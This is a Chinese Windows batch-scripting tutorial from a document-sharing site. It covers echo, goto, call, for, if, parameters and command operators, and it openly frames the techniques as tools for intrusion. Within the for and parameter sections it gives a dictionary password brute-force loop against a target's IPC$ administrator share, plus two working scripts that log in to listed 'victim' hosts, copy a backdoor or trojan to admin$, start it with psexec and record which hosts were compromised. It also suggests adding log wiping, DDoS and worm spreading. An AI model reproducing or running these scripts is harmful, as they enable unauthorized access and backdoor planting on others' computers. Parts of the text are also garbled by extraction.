首页 windows批处理命令教程

windows批处理命令教程

举报
开通vip

windows批处理命令教程windows批处理命令教程 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为.bat或.cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一.简单批处理内部命令简介 1.E...

windows批处理命令教程
windows批处理命令教程 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为.bat或.cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一.简单批处理内部命令简介 1.Echo命令打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo命令将显示当前回显设置。语法 echo[{on|off}]echo[message]Sample:@echo off/echo hello world注意上面是两条语句,如果当作一条语句写在一行,则@echo后面都作为回显文本,而不是关掉回显,然后再输出hello world echo off通过命令行输入则命令行的prompt消失,只有一个闪烁的光标但更常用的是用在批处理文件中:DOS在运行批处理时,会依次执行批处理中的每条命令,并且会在显示器上显示每条命令,如果你不想让它们显示,可以加一个"echo off" 比如:echo off del*.txt pause 就会不显示del*.txt,但是如果遇到了错误(比如目录下没有txt文件)或命令本身有输出(如ipconfig命令),那还是会有输出的。 当然,"echo off"也是命令,它本身也会显示(因为执行这一条时,状态还是要回显的),如果连这条也不显示,就在前面加个"@"。 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@指令@符号在批处理中的作用是关闭当前行命令的回显,echo off的作用就相当于在每条命令前面加一个@符号,这样所有的命令将只会显示结果不显示命令. Sample:@echo off@echo Now initializing the program,please wait aminite.@format X:/q/u/autoset(format这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。语法:goto label(label是参数,指定所要转向的批处理程序中的行。)Sample:if{%1}=={}goto noparms if{%2}=={}goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)@Rem check parameters if null show usage:noparms echo Usage:monitor.bat ServerIP PortNumber goto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem命令注释命令,在C语言中相当与/*--*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。Rem Message Sample:@Rem Here is the description. 5.Pause命令pause命令就是暂停的意思,防止批处理执行完后直接退出~执行pause命令后会自动在CMD里显示"请按任意键继续..."这样一行话~Sample:@echo off:begin copy a:*.*d:\back echo Please put anew disk into driver Apause goto begin在这个例子中,驱动器A中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器A时,pause命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 6.Call命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call命令接受用作调用目标的标签。如果在脚本或批处理文件外使用Call,它将不会在命令行起作用。语法 call[[Drive:][Path]FileName[BatchParameters]][:label[arguments]]参 数[Drive:}[Path]FileName指定要调用的批处理程序的位置和名称。filename参数必须具有.bat或.cmd扩展名。 7.start命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用(比Call适用范围广,Call只能调用批处理文件)。 START["title"][/Dpath][/I][/MIN][/MAX][/SEPARATE|/SHARED][/LOW|/N ORMAL|/HIGH|/REALTIME|/ABOVENORMAL|/BELOWNORMAL][/WAIT][/B][command/p rogram][parameters] 入侵常用参数:MIN开始时窗口最小化SEPARATE在分开的空间内开始16位Windows程序HIGH在HIGH优先级类别开始应用程序REALTIME在REALTIME优先级类别开始应用程序WAIT启动应用程序并等候它结束parameters这些为传送到命令/程序的参数command/program:如果是内部cmd命令或批文件,那么该命令处理器是用/K命令行开关运行cmd.exe的。这表示该窗口在命令运行后仍然存在。如果不是内部cmd命令或批文件,则是一个程序,并作为窗口应用程序或控制台应用程序运行。执行的应用程序是32-位GUI应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice命令 choice使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。注意:choice命令为DOS或者windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice/?查看用法。windows Xp没有这个命令,替换方法:可以用set/p var=来建立一个环境变量,然后根据输入值来分支执行 choice使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…如:choice/c:dme defrag,mem,end将显示 defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下:@echo off choice/C dme/M"defrag,mem,end"if errorlevel 3goto end if errorlevel 2goto mem if errorlevel 1goto defrag :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示defrag,mem,end[D,M,E]?用户可选择d me,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If命令 if表示将判断是否符合 规定 关于下班后关闭电源的规定党章中关于入党时间的规定公务员考核规定下载规定办法文件下载宁波关于闷顶的规定 的条件,从而决定执行不同的命令。有三种格式:1、if"参数"=="字符串"待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if"%1"=="a"format a:if{%1}=={}goto noparms if{%2}=={}goto noparms 2、if exist文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys 3、if errorlevel/if not errorlevel数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。(就是上面choice的用法) 10.for命令for命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用FOR命令时,指定变量请使 用%%variable for{%variable|%%variable}in(set)do command[CommandLineOptions]%variable指定一个单一字母可替换的参数。(set)指定一个或一组文件。可以使用通配符。command指定对每个文件执行的命令。command-parameters为特定命令指定参数或命令行开关。在批处理文件 中使用FOR命令时,指定变量请使用%%variable而不要用%variable。变量名 称是区分大小写的,所以%i不同于%I 如果命令扩展名被启用,下列额外的FOR命令格式会受到支持: FOR/D%variable IN(set)DO command[command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。 FOR/R[[drive:]path]%variable IN(set)DO command[command- 检查以[drive:]path为根的目录树,指向每个目录中的FOR语句。如果 字符,则枚在/R后没有指定目录,则使用当前目录。如果集仅为一个单点(.) 举该目录树。 FOR/L%variable IN(start,step,end)DO command[command-para 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生 序列1 23 45,(5,-1,1)将产生序列(5 43 21)。 FOR/F["options"]%variable IN(file-set)DO command FOR/F["options"]%variable IN("string")DO command FOR/F["options"]%variable IN(command)DO command 或者,如果有usebackq选项: FOR/F["options"]%variable IN(file-set)DO command FOR/F["options"]%variable IN("string")DO command FOR/F["options"]%variable IN(command)DO command filenameset为一个或 多个文件名。继续到filenameset中的下一个文件之前,每份文件都已被打开、 读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解 析成零或更多的符号。然后用已找到的符号字符串变量值调用For循环。以默 认方式,/F通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您 可通过指定可选"options"参数替代默认解析*作。这个带引号的字符串包括一 个或多个指定不同解析选项的关键字。这些关键字为: eol=c-指一个行注释字符的结尾(就一个)skip=n-指在文件开始时忽略的行数。delims=xxx-指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代的for本身。这会导致额外变量名称的格式为一个范围。通过nth符号指定m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq-指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在fi中使用双引号扩起文件名称。 sample1:FOR/F"eol=;tokens=2,3*delims=,"%i in(myfile.txt)do command 会分析myfile.txt中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for程序体;用逗号和/或空格定界符号。请注意,这个for程序体的语句引用%i来取得第二个符号,引用%j来取得第三个符号,引用%k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用usebackq选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。 %i专门在for语句中得到说明,%j和%k是通过tokens=选项专门得到说明的。您可以通过tokens=一行指定最多26个符号,只要不试图说明一个高于字母z或Z的变量。请记住,FOR变量是单一字母、分大小写和全局的;同时不能有52个以上都在使用中。 您还可以在相邻字符串上使用FOR/F分析逻辑;方法是,用单引号将括号之间的filenameset括起来。这样,该字符串会被当作一个文件中的一个单一输入行。 最后,您可以用FOR/F命令来分析命令的输出。方法是,将括号之间的filenameset变成一个反括字符串。该字符串会被当作命令行,传递到一个子CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子: FOR/F"usebackq delims=="%i IN(`set`)DO@echo%i 会枚举当前环境中的环境变量名称。 另外,FOR变量参照的替换已被增强。您现在可以使用下列选项语法: ~I-删除任何引号("),扩充%I%~fI-将%I扩充到一个完全合格的路径名%~dI-仅将%I扩充到一个驱动器号%~pI-仅将%I扩充到一个路径%~nI-仅将%I扩充到一个文件名%~xI-仅将%I扩充到一个文件扩展名%~sI-扩充的路径只含有短名%~aI-将%I扩充到文件的文件属性%~tI-将%I扩充到文件的日期/时间%~zI-将%I扩充到文件的大小%~$PATH:I-查找列在路径环境变量的目录,并将%I扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串 可以组合修饰符来得到多重结果: %~dpI-仅将%I扩充到一个驱动器号和路径%~nxI-仅将%I扩充到一个文件名和扩展名%~fsI-仅将%I扩充到一个带有短名的完整路径名%~dp$PATH:i-查找列在路径环境变量的目录,并将%I扩充到找到的第一个驱动器号和路径。%~ftzaI-将%I扩充到类似输出线路的DIR 在以上例子中,%I和PATH可用其他有效数值代替。%~语法用一个有效的FOR变量名终止。选取类似%I的大写变量名比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用net use\ip\ipc$"password"/u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for/f i%in(dict.txt)do net use\ip\ipc$"i%"/u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值用net use命令来连接。然后将程序运行结果传递给find命令-for/f i%%in(dict.txt)do net use\ip\ipc$"i%%"/u: "administrator"|find":命令成功完成"D:\ok.txt,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时 候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件, 可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件中使用FOR命令时,指定变量使 用%%variable)@for/f"tokens=1,2,3 delims="%%i in(victim.txt)do start call door.bat%%i%%j%%k tokens的用法请参见上面的sample1,在这里它表示 按顺序将victim.txt中的内容传递给door.bat中的参数%i%j%k。而 cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门 到victim,然后用返回码(If errorlever=)来筛选成功种植后门的主机,并 echo出来,或者echo到指定的文件。delims=表示vivtim.txt中的内容是一 空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的 了。应该根据%%i%%j%%k表示的对象来排列,一般就是ip password username。 代码雏形:---cut here then save as abatchfile(I call it main.bat)---@echo off@if"%1"==""goto usage@for/f"tokens=1,2,3 delims="%%i in(victim.txt)do start call IPChack.bat%%i%%j%%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end---cut here then save as abatchfile(I call it main.bat)--- ---cut here then save as abatchfile(I call it door.bat)---@net use\%1\ipc$%3/u:"%2"@if errorlevel 1goto failed@echo Trying to establish the IPC$connection…OK@copy windrv32.exe\%1\admin$\system32&&if not errorlevel 1echo IP%1 USER%2 PWD%3 ko.txt@psexec\%1 c:\winnt\system32\windrv32.exe@psexec\%1 net start windrv32&&if not errorlevel 1echo%1 Backdoored ko.txt: failed@echo Sorry can not connected to the victim.---cut here then save as abatchfile(I call it door.bat)--这只是一个自动种植后门批处理 的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录 下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户 的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣 的朋友可自行研究. No.2二.如何在批处理文件中使用参数批处理中可以使用参数(批参数,跟 在命令后面的),一般从%1到%9这九个,当有多个参数时需要用shift来移动, 这种情况并不多见,我们就不考虑它了。sample1:fomat.bat@echo off if"%1"=="a"format a::format@format a:/q/u/auotset@echo please insert another disk to driver A.@pause@goto fomat这个例子用于连续地 格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有 点画蛇添足了~^_^sample2:当我们要建立一个IPC$连接地时候总要输入一大 串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把 肉鸡地ip password username当着参数来赋给这个批处理,这样就不用每次都 打命令了。@echo off@net use\1%\ipc$"2%"/u:"3%"注意哦,这里PASSWORD 是第二个参数。@if errorlevel 1echo connection failed怎么样,使用参数 还是比较简单的吧?你这么帅一定学会了^_^.No.3 三.如何使用组合命令(Compound Command) 1.&(and) Usage:第一条命令&第二条命令[&第三条命令.] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 Sample:C:\dir z:&dir c:\Ex4rch The system cannot find the path specified.Volume in drive Chas no label.Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23:51.2002-05-14 23: 51.2002-05-14 23:51 14 sometips.gif 2.&&(short circuit and) Usage:第一条命令&&第二条命令[&&第三条命令.] 用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后 面的命令,如果一直没有出错则一直执行完所有命令; Sample:C:\dir z:&&dir c:\Ex4rch The system cannot find the path specified. C:\dir c:\Ex4rch&&dir z:Volume in drive Chas no label.Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23: 55.2002-05-14 23:55.2002-05-14 23:55 14 sometips.gif 1File(s)14 bytes 2Dir(s)768,671,744 bytes free The system cannot find the path specified. 在做备份的时候可能会用到这种命令会比较简单,如:dir file: //192.168.0.1/database/backup.mdb&© file: //192.168.0.1/database/backup.mdb E:\backup如果远程服务器上存在 backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这 ) 种用法可以替换IF exist了: 3.||(or) Usage:第一条命令||第二条命令[||第三条命令.] 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后 面的命令,如果没有出现正确的命令则一直执行完所有命令; Sample:C:\Ex4rch dir sometips.gif||del sometips.gif Volume in drive Chas no label.Volume Serial Number is 0078-59FB Directory of C: \Ex4rch 2002-05-14 23:55 14 sometips.gif 1File(s)14 bytes 0Dir(s)768,696,320 bytes free 组合命令使用的例子:sample:@copy trojan.exe\%1\admin$\system32&&if not errorlevel 1echo IP%1 USER%2 PASS%3 victim.txt 三。使用环境变量 下面的脚本建立一个环境变量choice,然后根据输入的文本值来进行分支, 执行相应操作echo==echo请选择要进行的操作,然后按回车echo==echo.echo 1.优化系统服务echo.echo 2.进行端口操作echo.echo 3.设置IP为 192.168.1.2 echo.echo(局域网上网者慎用此功能)echo.echo 4.其它优化 echo.echo 5.设置OEM信息echo.echo 6.清除根目录下的SXS病毒echo.echo 7.清理系统垃圾echo.echo 8.退出echo. :cho set choice=set/p choice=请选择:IF NOT"%Choice%"==""SET Choice=%Choice:~0,1%if/i"%choice%"=="1"goto start2 if/i"%choice%"=="2"goto start3 if/i"%choice%"=="3"goto ip if/i"%choice%"=="4"goto other if/i"%choice%"=="5"goto oem if/i"%choice%"=="6"goto virus if/i"%choice%"=="7"goto del if/i"%choice%"=="8"goto end echo选择无效,请重新输入echo.goto cho :start2 cls. 注意:set choice=%choice:~0,1%是截取第一个字符 1.字符串截取 语法:%var:~x,y%(x,y?Z)说明:当x为正数时表示从左到右第x+1位开 始截取,当x为负数时表示从右到左第x位开始截取(右一位是-1),当省略x 时采用默认值0;当y为正数时表示截取的长度,当y为负数时表示截取到从 右到左的第y+1位,当省略y时采用默认值-1。 2.字符串替换 语法:%var:str1=str2%说明:将字符串var中所有的str1替换为str2。(只是引用这个表达式的地方改变了,环境变量并没有改变,相当于ref by value) 如:@echo off set"url=www.mzwu.com" echo 1.字符串截取echo%url:~4,4%echo%url:~4,-4%echo%url:~- 8,4%echo%url:~-8,-4%echo%url:~,4%echo%url:~,-4%echo%url: ~4%echo%url:~-8% echo.echo 2.字符串替换,将mzwu替换为163 echo%url: mzwu=163%echo%url%Rem上面的替换没有改变url的值 pause nul 输出为:1.字符串截取mzwu mzwu mzwu mzwu www.www.mzwu mzwu.com mzwu.com 2.字符串替换,将mzwu替换为163 www.163.com www.mzwu.com 在批处理执行时不显示输出和错误信息(重定向到nul)copy 1.txt d:\nul命令后面加上nul nul不显示命令执行结果信息2 nul不显示命令执行失败信息nul 2nul就啥都不显示了 Echo命令详解一、ECHO命令是DOS批处理命令的一条子命令:1.作为控制批处理命令在执行时是否显示命令行自身的开关格式:ECHO[ON|OFF]2.显示当前ECHO设置状态格式:ECHO 3.输出提示信息格式:ECHO信息内容4.关闭DOS命令提示符在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使 ,提示符才会重新出现。5.输出空行,即屏幕只留下光标,直至键入ECHO ON 相当于输入一个回车格式:ECHO.值得注意的是命令行中的"."要紧跟在ECHO后 将被当作提示信息输出到屏幕。另外"."可以面中间不能有空格,否则"." 用,:;"/[\]+等任一符号替代。 在下面的例子中ECHO.输出的回车,经DOS管道转向作为TIME命令的输入,即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态:C:ECHO.|TIME ECHO命令输出空行的另一个应用实例是:将ECHO.加在自动批处理文件中,使原本在屏幕下方显示的提示画面,出现在屏幕上方。 6.答复命令中的提问格式:ECHO答复语|命令文件名上述格式可以用于简化一些需要人机对话的命令(如:CHKDSK/F;FORMAT Drive:;del*.*)的操作,它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在调用的命令出现人机对话时输入"Y"回车:C:ECHO Y|CHKDSK/F C:ECHO Y|DEL A:*.*7.建立新文件或增加文件内容格式:ECHO文件内容>文件名ECHO文件内容>>文件名例如:C:ECHO@ECHO OFF AUTOEXEC.BAT建立自动批处理文件C:ECHO C:\CPAV\BOOTSAFE AUTOEXEC.BAT 向自动批处理文件中追加内容C:TYPE AUTOEXEC.BAT显示该自动批处理文件@ECHO OFF C:\CPAV\BOOTSAFE 8.向打印机输出打印内容或打印控制码格式:ECHO打印机控制码>PRN ECHO打印内容>PRN 二、@的用法:如果想关闭"ECHO OFF"命令行自身的显示,则需要在该命令行前加上"@",即@ECHO OFF 批处理中的特殊符号特殊符号: 1.@2.3.4.|5.^6.&7.&&8.""9.,10.; 废话少说,开讲了 一、@ 这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道ECHO OFF可以关闭掉整个批处理命令的回显,但不能关掉ECHO OFF这个命令,现在我们在ECHO OFF这个命令前加个@,就可以达到所有命令均不回显的要求 二、 这个字符的意思是传递并且覆盖,他所起的作用是将运行的回显结果传递到后面的范围(后边可以是文件,也可以是默认的系统控制台) 比如: 文件1.txt的文件内容是: 1+1 使用命令:dir*.txt 1.txt 这时候1.txt内容如下 驱动器C中的卷没有标签。卷的序列号是3827-1BDD C:\的目录 2004-05-25 00:57 17,755,907 Log.txt 2004-05-26 15:21 31.txt 2004-05-26 15:21 02.txt 3个文件17,755,910字节0个目录339,111,936可用字节 三、 这个符号的作用和有点类似,但他们的区别是是传递并在文件的末尾追加,而是覆盖 用法同上 同样拿1.txt做例子 内容是1+1 使用命令:dir*.txt 1.txt 咱们来看看显示的结果如何 四、| 这是一个管道传输命令,意思是将上一命令执行的结果传到下一个命令去处理 例如: dir c:\|find"txt" 以上命令是:查找C:\所有,并发现TXT字符串。FIND的功能请用FIND/?自行查看 在不使format的自动格式化参数时,我是这样来自动格式化A盘的 echo y|format a:/s/q/v:system 用过format的都知道,再格盘时要输入y来确认是否格盘,这个命令前加上echo y并用|字符来将echo y的结果传给format命令 从而达到自动输入y的目的 (这条命令有危害性,测试时请慎重) 五、^ ^是对特殊符号"","","&"的前导字符,在命令中他将以上3个符号的特殊 功能去掉,仅仅只把他们当成符号而不使用他们的特殊意义。 比如 echo test^1.txt 结果则是 他没有追加在1.txt里,呵呵。只是显示了出来 六、& 这个符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败 了,也不影响后边的命令执行。 比如: dir z:\&dir y:\&dir c:\ 以上命令会连续显示z,y,c盘的内容,不理会该盘是否存在 七、&& 这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不 会执行 dir z:\&&dir y:\&&dir c:\ 八、"" 双引号允许在字符串中包含空格,进入一个特殊目录可以用如下方法 cd"program files"cd progra~1 cd pro* 以上三种方法都可以进入program files这个目录 九、, 逗号相当于空格,在某些情况下","可以用来当做空格使 比如 dir,c:\ 十、; 分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如 执行过程中发生错误,则只返回错误 报告 软件系统测试报告下载sgs报告如何下载关于路面塌陷情况报告535n,sgs报告怎么下载竣工报告下载 ,但程序还是会执行。 比如: dir c:\;d:\e:\;f:\ 以上命令相当于 dir c:\dir d:\dir e:\dir f:\ call和goto的异同@echo off echo早上好~goto:noon echo该睡觉了~ &pause nul :noon echo中午好~:night echo晚上好~ pause nul 结果为: 早上好~中午好~晚上好~[按任意键退出] @echo off echo早上好~call:noon echo该睡觉了~&pause nul :noon echo中午好~:night echo晚上好~ pause nul 结果为: 早上好~中午好~晚上好~[按任意键]该睡觉了~[按任意键]中午好~晚上好~[按任意键退出] 从上边两个例子我们已经可以很明白的看出call和goto的异同点了: 相同点:call和goto都可以将流程跳转到标签处。不同点:goto将流程跳转到标签处后,程序从标签处开始执行到结束,整个流程执行完毕;call将流程跳转到标签处后,程序从标签处开始执行到结束[1],然后会跳转回执行call的下一条语句,直到整个流程执行完毕;所以call并不会像goto那样打乱了流程,它只是中断了当前流程,但仍保证整个流程按原顺序进行。 [1]在第二个例子中我们可以在标签后适当的地方调用goto:eof,使流程提前结束,提前将流程转移call的下一条语句: 复制内容到剪贴板程序代码@echo off echo早上好~call:noon echo该睡觉了nul"~&@pause nul :noon echo中午好~goto:eof:night echo晚上好~goto:eof pause nul 执行结果已和例二有所不同,先显示: 引用内容早上好~中午好~该睡觉了~ 按任意键后接着显示"中午好~",到goto:eof后退出~ 很显然,如果在例一中加入goto:eof则只是提前结束了流程。 特别声明: 1:资料来源于互联网,版权归属原作者 2:资料内容属于网络意见,与本账号立场无关 3:如有侵权,请告知,立即删除。
本文档为【windows批处理命令教程】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_597436
暂无简介~
格式:doc
大小:46KB
软件:Word
页数:0
分类:生活休闲
上传时间:2018-05-01
浏览量:29